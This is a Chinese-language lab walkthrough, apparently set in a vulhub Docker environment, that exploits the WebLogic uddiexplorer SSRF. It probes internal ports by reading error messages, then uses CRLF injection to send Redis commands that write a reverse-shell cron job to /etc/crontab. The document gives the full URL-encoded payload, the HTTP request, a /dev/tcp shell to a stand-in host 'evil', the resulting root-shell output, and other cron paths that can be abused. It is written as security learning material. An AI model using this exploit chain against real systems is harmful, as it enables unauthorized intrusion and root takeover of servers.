1. Weblogic SSRF漏洞

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

1.1 测 试 环 境 搭 建

编译及启动测试环境

docker-compose up -d

访问 http://your-ip:7001/uddiexplorer/ ,无需登录即可查看uddiexplorer应用。

1.2 S S R F 漏 洞 测 试

SSRF漏洞存在于

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp ,我们在bru psuite下测试该漏洞。访问一个可以访问的IP:PORT,如 http://127.0.0.1:80:

```
GET /uddiexplorer/SearchPublicRegistries.jsp?
  rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor
  =Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
  HTTP/1.1
  Host: localhost
  Accept: */*
  Accept-Language: en
  User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
  Win64; x64; Trident/5.0)
  Connection: close
  7
  8
```

可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http 协议,则会返回 did not have a valid SOAP content-type 。



修改为一个不存在的端口,将会返回 could not connect over HTTP to server 。



通过错误的不同,即可探测内网状态。

1.3 注入HTTP头,利用Redis反弹 shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个"GET"请求,但是我们可以通过传入 %0a%0d 来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379 可以连通:



发送三条redis命令,将弹shell脚本写入 /etc/crontab:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >&
 /dev/tcp/evil/21 0>&1'\n\n\n"
config set dir /etc/
save

进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是"\r\n",也就是"%0D%0A"。

将url编码后的字符串放在ssrf的域名后面,发送:

1 GET /uddiexplorer/SearchPublicRegistries.jsp?
 rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor
 =Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379
 /test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201 31%201-12%200-6%20root%20bash%20-c%20%27sh%20 i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn
 %22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename
 %20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
 Host: localhost
 Accept: */*
 Accept-Language: en
 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
 Win64; x64; Trident/5.0)
 Connection: close
7



成功反弹:

```
# root @ z in /home/vulhub on git:weblogic-ssrf o [21:02:12]
s nc -l -p 21
bash: no job control in this shell
[root@95f5282bc249 ~]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@95f5282bc249 ~]# uname -a
uname -a
uname -a
Linux 95f5282bc249 4.10.6-041006-generic #201703260832 SMP Sun Mar 26 12:34:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
[root@95f5282bc249 ~]#
```

最后补充一下,可进行利用的cron有如下几个地方:

- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件